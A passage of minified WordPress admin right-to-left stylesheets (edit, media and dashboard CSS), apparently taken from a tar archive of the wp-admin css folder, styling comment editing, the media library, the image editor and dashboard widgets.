.comment-content p.edit-comment{margin-top:10px}.comment-ays .comment-content p.edit-comment a[href]:after{content:"";padding:0}.comment-ays-submit .button-cancel{margin-right:1em}.spam-undo-inside,.trash-undo-inside{margin:1px 0 1px 8px;line-height:1.23076923}.spam-undo-inside .avatar,.trash-undo-inside .avatar{height:20px;width:20px;margin-left:8px;vertical-align:middle}.stuffbox .editcomment{clear:none;margin-top:0}#namediv.stuffbox .editcomment input{width:100%}#namediv.stuffbox .editcomment.form-table td{padding:10px}#comment-status-radio p{margin:3px 0 5px}#comment-status-radio input{margin:2px 0 5px 3px;vertical-align:middle}#comment-status-radio label{padding:5px 0}table.links-table{width:100%;border-spacing:0}.links-table th{font-weight:400;text-align:right;vertical-align:top;min-width:80px;width:20%;word-wrap:break-word}.links-table td,.links-table th{padding:5px 0}.links-table td label{margin-left:8px}.links-table td input[type=text],.links-table td textarea{width:100%}.links-table #link_rel{max-width:280px}#qt_content_dfw{display:none}.wp-editor-expand #qt_content_dfw{display:inline-block}.focus-on #screen-meta,.focus-on #screen-meta-links,.focus-on #wp-toolbar,.focus-on #wpfooter,.focus-on .page-title-action,.focus-on .postbox-container>*,.focus-on .update-nag,.focus-on .wrap>h1,.focus-on div.error,.focus-on div.notice,.focus-on div.updated{opacity:0;transition-duration:.6s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-on #wp-toolbar{opacity:.3}.focus-off #screen-meta,.focus-off #screen-meta-links,.focus-off #wp-toolbar,.focus-off #wpfooter,.focus-off .page-title-action,.focus-off .postbox-container>*,.focus-off .update-nag,.focus-off .wrap>h1,.focus-off div.error,.focus-off div.notice,.focus-off div.updated{opacity:1;transition-duration:.2s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-off #wp-toolbar{-webkit-transform:translate(0,0)}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transition-duration:.6s;transition-property:transform;transition-timing-function:ease-in-out}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transform:translateX(100%)}.focus-off #adminmenuback,.focus-off #adminmenuwrap{transform:translateX(0);transition-duration:.2s;transition-property:transform;transition-timing-function:ease-in-out}@media print,(min-resolution:120dpi){#content-resize-handle,#post-body .wp_themeSkin .mceStatusbar a.mceResize{background:transparent url(../images/resize-2x.gif) no-repeat scroll left bottom;background-size:11px 11px}.rtl #content-resize-handle,.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize{background-image:url(../images/resize-rtl-2x.gif);background-position:left bottom}}@media only screen and (max-width:1200px){.post-type-attachment #poststuff{min-width:0}.post-type-attachment #wpbody-content #poststuff #post-body{margin:0}.post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1{margin-left:0;width:100%}.post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty,.post-type-attachment #poststuff #postbox-container-1 .empty-container{outline:0;height:0;min-height:0}.post-type-attachment #poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables{border:none;background:0 0;min-height:0;margin-bottom:0}.post-type-attachment .columns-prefs,.post-type-attachment .screen-layout{display:none}}@media only screen and (max-width:850px){#poststuff{min-width:0}#wpbody-content #poststuff #post-body{margin:0}#wpbody-content #post-body.columns-2 #postbox-container-1{margin-left:0;width:100%}#poststuff #postbox-container-1 #side-sortables:empty,#poststuff #postbox-container-1 .empty-container{height:0;min-height:0}#poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables,.is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables,.is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty,.is-dragging-metaboxes #poststuff #postbox-container-1 .empty-container{height:auto;min-height:60px}.columns-prefs,.screen-layout{display:none}}@media screen and (max-width:782px){.wp-core-ui .edit-tag-actions .button-primary{margin-bottom:0}#post-body-content{min-width:0}#titlediv #title-prompt-text{padding:10px}#poststuff .stuffbox .inside{padding:0 0 4px 2px}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{padding:12px}#namediv.stuffbox .editcomment.form-table td{padding:5px 10px}.post-format-options{padding-left:0}.post-format-options a{margin-left:5px;margin-bottom:5px;min-width:52px}.post-format-options .post-format-title{font-size:11px}.post-format-options a div{height:28px;width:28px}.post-format-options a div:before{font-size:26px!important}#post-visibility-select{line-height:280%}.wp-core-ui .save-post-visibility,.wp-core-ui .save-timestamp{vertical-align:middle;margin-left:15px}.timestamp-wrap select#mm{display:block;width:100%;margin-bottom:10px}.timestamp-wrap #aa,.timestamp-wrap #hh,.timestamp-wrap #jj,.timestamp-wrap #mn{padding:12px 3px;font-size:14px;margin-bottom:5px;width:auto;text-align:center}ul.category-tabs{margin:30px 0 15px}ul.category-tabs li.tabs{padding:15px}ul.categorychecklist li{margin-bottom:15px}ul.categorychecklist ul{margin-top:15px}.category-add input[type=text],.category-add select{max-width:none;margin-bottom:15px}.tagsdiv .newtag{flex:1;min-width:0;height:auto;margin-bottom:0}.tagchecklist{margin:25px 10px}.tagchecklist>li{font-size:16px;line-height:1.4}#commentstatusdiv p{line-height:2.8}.mceToolbar *{white-space:normal!important}.mceToolbar td,.mceToolbar tr{float:right!important}.wp_themeSkin a.mceButton{width:30px;height:30px}.wp_themeSkin .mceButton .mceIcon{margin-top:5px;margin-right:5px}.wp_themeSkin .mceSplitButton{margin-top:1px}.wp_themeSkin .mceSplitButton td a.mceAction{padding:6px 6px 6px 3px}.wp_themeSkin .mceSplitButton td a.mceOpen,.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen{padding-top:6px;padding-bottom:6px;background-position:1px 6px}.wp_themeSkin table.mceListBox{margin:5px}div.quicktags-toolbar input{padding:10px 20px}button.wp-switch-editor{font-size:16px;line-height:1;margin:7px 7px 0 0;padding:8px 12px}#wp-content-media-buttons a{font-size:14px;padding:6px 10px}.wp-media-buttons span.jetpack-contact-form-icon,.wp-media-buttons span.wp-media-buttons-icon{width:22px!important;margin-right:-2px!important}.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before,.wp-media-buttons .add_media span.wp-media-buttons-icon:before{font-size:20px!important}#content_wp_fullscreen{display:none}.misc-pub-section{padding:12px 10px}#delete-action,#publishing-action{line-height:3.61538461}#publishing-action .spinner{float:none;margin-top:-2px}.comment-ays td,.comment-ays th{padding-bottom:0}.comment-ays td{padding-top:6px}.links-table #link_rel{max-width:none}.links-table td,.links-table th{padding:10px 0}.edit-term-notes{display:none}.privacy-text-box{width:auto}.privacy-text-box-toc{float:none;width:auto;height:100%;display:flex;flex-direction:column}.privacy-text-section .return-to-top{margin:2em 0 0}} css/media-rtl.min.css 0000644 00000054575 15233246127 0010533 0 ustar 00 /*! This file is auto-generated */ .media-item .describe{border-collapse:collapse;width:100%;border-top:1px solid #dcdcde;clear:both;cursor:default}.media-item.media-blank .describe{border:0}.media-item .describe th{vertical-align:top;text-align:right;padding:5px 10px 10px;width:140px}.media-item .describe .align th{padding-top:0}.media-item .media-item-info tr{background-color:transparent}.media-item .describe td{padding:0 0 8px 8px;vertical-align:top}.media-item thead.media-item-info td{padding:4px 10px 0}.media-item .media-item-info .A1B1{padding:0 10px 0 0}.media-item td.savesend{padding-bottom:15px}.media-item .thumbnail{max-height:128px;max-width:128px}.media-list-subtitle{display:block}.media-list-title{display:block}#wpbody-content #async-upload-wrap a{display:none}.media-upload-form{margin-top:20px}.media-upload-form td label{margin-left:6px;margin-right:2px}.media-upload-form .align .field label{display:inline;padding:0 23px 0 0;margin:0 3px 0 1em;font-weight:600}.media-upload-form tr.image-size label{margin:0 5px 0 0;font-weight:600}.media-upload-form th.label label{font-weight:600;margin:.5em;font-size:13px}.media-upload-form th.label label span{padding:0 5px}.media-item .describe input[type=text],.media-item .describe textarea{width:460px}.media-item .describe p.help{margin:0;padding:0 5px 0 0}.describe-toggle-off,.describe-toggle-on{display:block;line-height:2.76923076;float:left;margin-left:10px}.media-item .attachment-tools{display:flex;align-items:center}.media-item .edit-attachment{padding:14px 0;display:block;margin-left:10px}.media-item .edit-attachment.copy-to-clipboard-container{display:flex;margin-top:0}.media-item-copy-container .success{line-height:0}.media-item button .copy-attachment-url{margin-top:14px}.media-item .copy-to-clipboard-container{margin-top:7px}.media-item .describe-toggle-off,.media-item.open .describe-toggle-on{display:none}.media-item.open .describe-toggle-off{display:block}.media-upload-form .media-item{min-height:70px;margin-bottom:1px;position:relative;width:100%;background:#fff}.media-upload-form .media-item,.media-upload-form .media-item .error{box-shadow:0 1px 0 #dcdcde}#media-items:empty{border:0 none}.media-item .filename{padding:14px 2px;overflow:hidden;margin-right:4px}.media-item .pinkynail{float:right;margin:14px;max-height:70px;max-width:70px}.media-item .startclosed,.media-item .startopen{display:none}.media-item .progress{display:inline-block;height:22px;margin:0 6px 7px;width:200px;line-height:2em;padding:0;overflow:hidden;border-radius:22px;background:#dcdcde;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.media-item .bar{z-index:9;width:0;height:100%;margin-top:-22px;border-radius:22px;background-color:#2271b1;box-shadow:inset 0 0 2px rgba(0,0,0,.3)}.media-item .progress .percent{z-index:10;position:relative;width:200px;padding:0;color:#fff;text-align:center;line-height:22px;font-weight:400;text-shadow:0 1px 2px rgba(0,0,0,.2)}.upload-php .fixed .column-parent{width:15%}.js .html-uploader #plupload-upload-ui{display:none}.js .html-uploader #html-upload-ui{display:block}#html-upload-ui #async-upload{font-size:1em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{width:auto;margin:0 0 1px}.media-upload-form .media-item .error{padding:10px 14px 10px 0;min-height:50px}.media-item .error-div button.dismiss{float:left;margin:0 15px 0 10px}.find-box{background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);width:600px;overflow:hidden;margin-right:-300px;position:fixed;top:30px;bottom:30px;right:50%;z-index:100105}.find-box-head{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 16px 0 36px;position:absolute;top:0;right:0;left:0}.find-box-inside{overflow:auto;padding:16px;background-color:#fff;position:absolute;top:37px;bottom:45px;overflow-y:scroll;width:100%;box-sizing:border-box}.find-box-search{padding-bottom:16px}.find-box-search .spinner{float:none;right:105px;position:absolute}#find-posts-response,.find-box-search{position:relative}#find-posts-input,#find-posts-search{float:right}#find-posts-input{width:140px;height:28px;margin:0 0 0 4px}.widefat .found-radio{padding-left:0;width:16px}#find-posts-close{width:36px;height:36px;border:none;padding:0;position:absolute;top:0;left:0;cursor:pointer;text-align:center;background:0 0;color:#646970}#find-posts-close:focus,#find-posts-close:hover{color:var(--wp-admin-theme-color-darker-20,#183ad6)}#find-posts-close:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent;outline-offset:-2px}#find-posts-close:before{font:normal 20px/36px dashicons;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f158";content:"\f158"/''}.find-box-buttons{padding:8px 16px;background:#fff;border-top:1px solid #dcdcde;position:absolute;bottom:0;right:0;left:0}@media screen and (max-width:782px){.find-box-inside{bottom:57px}#delete_all{margin-bottom:0}}@media screen and (max-width:660px){.find-box{top:0;bottom:0;right:0;left:0;margin:0;width:100%}}.ui-find-overlay{position:fixed;top:0;right:0;left:0;bottom:0;background:#000;opacity:.7;z-index:100100}.drag-drop #drag-drop-area{border:4px dashed #c3c4c7;height:200px}.drag-drop .drag-drop-inside{margin:60px auto 0;width:250px}.drag-drop-inside p{font-size:14px;margin:5px 0;display:none}.drag-drop .drag-drop-inside p{text-align:center}.drag-drop-inside p.drag-drop-info{font-size:20px}.drag-drop .drag-drop-inside p,.drag-drop-inside p.drag-drop-buttons{display:block}.drag-drop.drag-over #drag-drop-area{border-color:#9ec2e6}#plupload-upload-ui{position:relative}.post-type-attachment .wp-filter select{margin:0 0 0 6px}.media-frame.mode-grid,.media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper,.media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments,.media-frame.mode-grid .media-frame-content,.media-frame.mode-grid .uploader-inline-content{position:static}.media-frame.mode-grid .media-frame-menu,.media-frame.mode-grid .media-frame-router,.media-frame.mode-grid .media-frame-title{display:none}.media-frame.mode-grid .media-frame-content{background-color:transparent;border:none}.upload-php .mode-grid .media-sidebar{position:relative;width:auto;margin-top:12px;padding:0 16px;border-right:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1);background-color:#fff}.upload-php .mode-grid .hide-sidebar .media-sidebar{display:none}.upload-php .mode-grid .media-sidebar .media-uploader-status{border-bottom:none;padding-bottom:0;max-width:100%}.upload-php .mode-grid .media-sidebar .upload-error{margin:12px 0;padding:4px 0 0;border:none;box-shadow:none;background:0 0}.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2{display:none}.media-frame.mode-grid .uploader-inline{position:relative;top:auto;left:auto;right:auto;bottom:auto;padding-top:0;margin-top:20px;border:4px dashed #c3c4c7}.media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments,.media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper{position:relative;top:94px;padding-bottom:94px}.media-frame.mode-grid .attachment.details:focus,.media-frame.mode-grid .attachment:focus,.media-frame.mode-grid .selected.attachment:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent;outline-offset:-6px}.media-frame.mode-grid .selected.attachment{box-shadow:inset 0 0 0 5px #f0f0f1,inset 0 0 0 7px #c3c4c7}.media-frame.mode-grid .attachment.details{box-shadow:inset 0 0 0 3px #f0f0f1,inset 0 0 0 7px var(--wp-admin-theme-color,#3858e9)}.media-frame.mode-grid.mode-select .attachment .thumbnail{opacity:.65}.media-frame.mode-select .attachment.selected .thumbnail{opacity:1}.media-frame.mode-grid .media-toolbar{margin-bottom:15px;height:auto}.media-frame.mode-grid .media-toolbar label:not(.media-search-input-label){border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}.media-frame.mode-grid .media-toolbar select{margin:0 0 0 10px;min-height:32px;line-height:2.14285714;padding:0 8px 0 24px}.media-frame.mode-grid .media-toolbar input[type=search]{min-height:32px;padding:0 8px}.media-frame.mode-grid .media-toolbar-secondary{display:flex;flex-wrap:wrap;align-items:center;gap:8px}.media-frame.mode-grid.mode-edit .media-toolbar-secondary>.select-mode-toggle-button{margin:0 0 0 8px;height:100%}.media-frame.mode-grid .attachments-browser .bulk-select{display:inline-block;margin:0 0 0 10px}.media-frame.mode-grid .search{margin-top:0}.media-frame-content .media-search-input-label{vertical-align:baseline}.attachments-browser .media-toolbar-secondary>.media-button{margin-left:10px}.media-frame.mode-select .attachments-browser.fixed .media-toolbar{position:fixed;top:32px;right:auto;left:20px;margin-top:0}.media-frame.mode-grid .attachments-browser{padding:0}.media-frame.mode-grid .attachments-browser .attachments{padding:2px}.media-frame.mode-grid .attachments-browser .no-media{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;text-align:center}.edit-attachment-frame{display:block;height:100%;width:100%}.edit-attachment-frame .edit-media-header{overflow:hidden}.upload-php .media-modal-close .media-modal-icon:before{content:"\f335";content:"\f335"/'';font-size:22px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{cursor:pointer;color:#787c82;background-color:transparent;height:50px;width:50px;padding:0;position:absolute;text-align:center;border:0;border-right:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.upload-php .media-modal-close{top:0;left:0}.edit-attachment-frame .edit-media-header .left{left:102px}.edit-attachment-frame .edit-media-header .right{left:51px}.edit-attachment-frame .media-frame-title{right:0;left:150px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .left:hover,.edit-attachment-frame .edit-media-header .right:focus,.edit-attachment-frame .edit-media-header .right:hover,.upload-php .media-modal-close:focus,.upload-php .media-modal-close:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .right:focus,.upload-php .media-modal-close:focus{outline:2px solid transparent;outline-offset:-2px}.upload-php .media-modal-close:focus .media-modal-icon:before,.upload-php .media-modal-close:hover .media-modal-icon:before{color:#000}.edit-attachment-frame .edit-media-header .left:before{content:"\f345";content:"\f341"/''}.edit-attachment-frame .edit-media-header .right:before{content:"\f341";content:"\f345"/''}.edit-attachment-frame .edit-media-header [disabled],.edit-attachment-frame .edit-media-header [disabled]:hover{color:#c3c4c7;background:inherit;cursor:default}.edit-attachment-frame .media-frame-content,.edit-attachment-frame .media-frame-router{right:0}.edit-attachment-frame .media-frame-content{border-bottom:none;bottom:0;top:50px}.edit-attachment-frame .attachment-details{position:absolute;overflow:auto;top:0;bottom:0;left:0;right:0;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1)}.edit-attachment-frame .attachment-media-view{float:right;width:65%;height:100%}.edit-attachment-frame .attachment-media-view .thumbnail{box-sizing:border-box;padding:16px;height:100%}.edit-attachment-frame .attachment-media-view .details-image{display:block;margin:0 auto 16px;max-width:100%;max-height:90%;max-height:calc(100% - 56px);background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.edit-attachment-frame .attachment-media-view .details-image.icon{background:0 0}.edit-attachment-frame .attachment-media-view .attachment-actions{text-align:center}.edit-attachment-frame .wp-media-wrapper{margin-bottom:12px}.edit-attachment-frame input,.edit-attachment-frame textarea{padding:4px 8px;line-height:1.42857143}.edit-attachment-frame .attachment-info{overflow:auto;box-sizing:border-box;margin-bottom:0;padding:12px 16px 0;width:35%;height:100%;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1);border-bottom:0;border-right:1px solid #dcdcde;background:#f6f7f7}.edit-attachment-frame .attachment-info .details,.edit-attachment-frame .attachment-info .settings{position:relative;overflow:hidden;float:none;margin-bottom:15px;padding-bottom:15px;border-bottom:1px solid #dcdcde}.edit-attachment-frame .attachment-info .filename{font-weight:400;color:#646970}.edit-attachment-frame .attachment-info .thumbnail{margin-bottom:12px}.attachment-info .actions{margin-bottom:16px}.attachment-info .actions a{display:inline;text-decoration:none}.copy-to-clipboard-container{display:flex;align-items:center;margin-top:8px;clear:both}.copy-to-clipboard-container .copy-attachment-url{white-space:normal}.copy-to-clipboard-container .success{color:#007017;margin-right:8px}.wp_attachment_details .attachment-alt-text{margin-bottom:5px}.wp_attachment_details #attachment_alt{max-width:500px;height:3.28571428em}.wp_attachment_details .attachment-alt-text-description{margin-top:5px}.wp_attachment_details label[for=content]{font-size:13px;line-height:1.5;margin:1em 0}.wp_attachment_details #attachment_caption{height:4em}.describe .image-editor{vertical-align:top}.imgedit-wrap{position:relative;padding-top:10px}.image-editor fieldset,.image-editor p{margin:8px 0}.image-editor legend{margin-bottom:5px}.describe .imgedit-wrap .image-editor{padding:0 5px}.wp_attachment_holder div.updated{margin-top:0}.wp_attachment_holder .imgedit-wrap>div{height:auto}.imgedit-panel-content{display:flex;flex-wrap:wrap;gap:20px;margin-bottom:20px}.imgedit-settings{max-width:240px}.imgedit-group-controls>*{display:none}.imgedit-panel-active .imgedit-group-controls>*{display:block}.imgedit-panel-active .imgedit-group-controls>.imgedit-crop-apply{display:flex}.imgedit-crop-apply{gap:4px;flex-wrap:wrap}.wp_attachment_holder .imgedit-wrap .image-editor{float:left;width:250px}.image-editor input{margin-top:0;vertical-align:middle}.imgedit-wait{position:absolute;top:0;bottom:0;width:100%;background:#fff;opacity:.7;display:none}.imgedit-wait:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;margin:-10px -10px 0 0;background:transparent url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}.no-float{float:none}.image-editor .disabled,.media-disabled{color:#a7aaad}.A1B1{overflow:hidden}.A1B1 .button,.wp_attachment_image .button{float:right}.no-js .wp_attachment_image .button{display:none}.A1B1 .spinner,.wp_attachment_image .spinner{float:right}.imgedit-menu .note-no-rotate{clear:both;margin:0;padding:1em 0 0}.imgedit-menu .button:after,.imgedit-menu .button:before{font:normal 16px/1 dashicons;margin-left:8px;vertical-align:middle;position:relative;top:-2px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.imgedit-menu .imgedit-rotate.button:after{content:'\f140';margin-right:2px;margin-left:0}.imgedit-menu .imgedit-rotate.button[aria-expanded=true]:after{content:'\f142'}.imgedit-menu .button.disabled{color:#a7aaad;border-color:#dcdcde;background:#f6f7f7;box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.imgedit-crop:before{content:"\f165";content:"\f165"/''}.imgedit-scale:before{content:"\f211";content:"\f211"/''}.imgedit-rotate:before{content:"\f167";content:"\f167"/''}.imgedit-undo:before{content:"\f171";content:"\f171"/''}.imgedit-redo:before{content:"\f172";content:"\f172"/''}.imgedit-crop-wrap{position:relative}.imgedit-crop-wrap img{background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.imgedit-crop-wrap{padding:20px;background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.imgedit-crop{margin:0 0 0 8px}.imgedit-rotate{margin:0 3px 0 8px}.imgedit-undo{margin:0 3px}.imgedit-redo{margin:0 3px 0 8px}.imgedit-thumbnail-preview-group{display:flex;flex-wrap:wrap;column-gap:10px}.imgedit-thumbnail-preview{margin:10px 0 0 8px}.imgedit-thumbnail-preview-caption{display:block}#poststuff .imgedit-group-top h2{display:inline-block;margin:0;padding:0;font-size:14px;line-height:1.4}#poststuff .imgedit-group-top .button-link{text-decoration:none;color:#1d2327}.imgedit-applyto .imgedit-label{display:block;padding:.5em 0 0}.imgedit-help,.imgedit-popup-menu{display:none;padding-bottom:8px}.imgedit-panel-tools>.imgedit-menu{display:flex;column-gap:4px;align-items:flex-start;flex-wrap:wrap}.imgedit-popup-menu{width:calc(100% - 20px);position:absolute;background:#fff;padding:10px;box-shadow:0 3px 6px rgba(0,0,0,.3)}.image-editor .imgedit-menu .imgedit-popup-menu button{display:block;margin:2px 0;width:100%;white-space:break-spaces;line-height:1.5;padding-top:3px;padding-bottom:2px}.imgedit-rotate-menu-container{position:relative}.imgedit-help.imgedit-restore{padding-bottom:0}.image-editor .imgedit-settings .imgedit-help-toggle,.image-editor .imgedit-settings .imgedit-help-toggle:active,.image-editor .imgedit-settings .imgedit-help-toggle:hover{border:1px solid transparent;margin:-1px -1px 0 0;padding:0;background:0 0;color:var(--wp-admin-theme-color);font-size:20px;line-height:1;cursor:pointer;box-sizing:content-box;box-shadow:none}.image-editor .imgedit-settings .imgedit-help-toggle:focus{color:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.form-table td.imgedit-response{padding:0}.imgedit-submit-btn{margin-right:20px}.imgedit-wrap .nowrap{white-space:nowrap;font-size:12px;line-height:inherit}span.imgedit-scale-warn{display:flex;align-items:center;margin:4px;gap:4px;color:#b32d2e;font-style:normal;visibility:hidden;vertical-align:middle}.imgedit-save-target{margin:8px 0}.imgedit-save-target legend{font-weight:600}.imgedit-group{margin-bottom:20px}.image-editor .imgedit-original-dimensions{display:inline-block}.image-editor .imgedit-crop-ratio input[type=number],.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=number],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale-controls input[type=number],.image-editor .imgedit-scale-controls input[type=text]{width:80px;font-size:14px;padding:0 8px}.imgedit-separator{display:inline-block;width:7px;text-align:center;font-size:13px;color:#3c434a}.image-editor .imgedit-scale-button-wrapper{margin-top:.3077em;display:block}.image-editor .imgedit-scale-controls .button{margin-bottom:0}audio,video{display:inline-block;max-width:100%}.wp-core-ui .mejs-container{width:100%;max-width:100%}.wp-core-ui .mejs-container *{box-sizing:border-box}.wp-core-ui .mejs-time{box-sizing:content-box}@media print,(min-resolution:120dpi){.imgedit-wait:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.edit-attachment-frame input,.edit-attachment-frame textarea{line-height:1.5}.wp_attachment_details label[for=content]{font-size:14px;line-height:1.5}.wp_attachment_details textarea{line-height:1.5}.wp_attachment_details #attachment_alt{height:3.375em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{font-size:13px;line-height:1.5}.media-upload-form .media-item.error{padding:1px 10px}.media-upload-form .media-item .error{padding:10px 12px 10px 0}.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale input[type=text]{font-size:16px;padding:6px 10px}.wp_attachment_holder .imgedit-wrap .image-editor,.wp_attachment_holder .imgedit-wrap .imgedit-panel-content{float:none;width:auto;max-width:none;padding-bottom:16px}.copy-to-clipboard-container .success{font-size:14px}.imgedit-crop-wrap img{width:100%}.media-modal .imgedit-wrap .image-editor,.media-modal .imgedit-wrap .imgedit-panel-content{position:initial!important}.media-modal .imgedit-wrap .image-editor{box-sizing:border-box;width:100%!important}.image-editor .imgedit-scale-button-wrapper{display:inline-block}}@media only screen and (max-width:600px){.media-item-wrapper{grid-template-columns:1fr}}@media only screen and (max-width:1120px){#wp-media-grid .wp-filter .attachment-filters{max-width:100%}}@media only screen and (max-width:1000px){.wp-filter p.search-box{float:none;width:100%;display:flex;flex-wrap:nowrap;column-gap:0}.wp-filter p.search-box #media-search-input{width:100%}}@media only screen and (max-width:782px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:46px;left:10px}.media-frame.mode-grid .media-toolbar select{min-height:40px;padding:0 12px 0 24px}.media-frame.mode-grid .media-toolbar input[type=search]{min-height:40px;padding:0 12px}.wp-filter p.search-box{margin-bottom:0}}@media only screen and (max-width:600px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:0}}@media only screen and (max-width:480px){.edit-attachment-frame .media-frame-title{left:110px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{width:40px;height:40px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{line-height:40px!important}.edit-attachment-frame .edit-media-header .left{left:82px}.edit-attachment-frame .edit-media-header .right{left:41px}.edit-attachment-frame .media-frame-content{top:40px}.edit-attachment-frame .attachment-media-view{float:none;height:auto;width:100%}.edit-attachment-frame .attachment-info{height:auto;width:100%}}@media only screen and (max-width:640px),screen and (max-height:400px){.upload-php .mode-grid .media-sidebar{max-width:100%}}@media only screen and (max-width:375px){.media-item .attachment-tools{align-items:baseline}.media-item .edit-attachment.copy-to-clipboard-container{flex-direction:column}.copy-to-clipboard-container .success{line-height:normal;margin-top:10px}} css/dashboard-rtl.min.css 0000644 00000055507 15233246127 0011377 0 ustar 00 /*! This file is auto-generated */ #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody-content #dashboard-widgets.columns-2 .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4{float:left;width:50.5%}#wpbody-content #dashboard-widgets.columns-3 .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4{float:left}#wpbody-content #dashboard-widgets.columns-4 .postbox-container{width:25%}#dashboard-widgets .postbox-container{width:25%}#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container{border:none!important}#dashboard-widgets-wrap{overflow:hidden;margin:0 -8px}#dashboard-widgets .postbox{border-radius:8px}#dashboard-widgets .postbox-header .hndle{padding:12px 16px}#dashboard-widgets .postbox .inside{margin-bottom:0}#dashboard-widgets .meta-box-sortables{display:flow-root;min-height:0;margin:0 8px 20px}#dashboard-widgets .meta-box-sortables:not(:empty){margin-bottom:16px}#dashboard-widgets .postbox-container .empty-container{outline:2px dashed rgb(0,0,0,.15);outline-offset:-2px;border-radius:8px;height:250px;margin:4px}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{border-radius:8px;background:rgb(var(--wp-admin-theme-color--rgb),.04);min-height:100px}.is-dragging-metaboxes #dashboard-widgets .postbox-container .empty-container{background:rgb(0,0,0,.01)}#dashboard-widgets .postbox-container .empty-container:after{content:attr(data-emptystring);margin:auto;position:absolute;top:50%;right:0;left:0;transform:translateY(-50%);padding:0 2em;text-align:center;color:#646970;font-size:16px;line-height:1.5;display:none}#the-comment-list td.comment p.comment-author{margin-top:0;margin-right:0}#the-comment-list p.comment-author img{float:right;margin-left:8px}#the-comment-list p.comment-author strong a{border:none}#the-comment-list 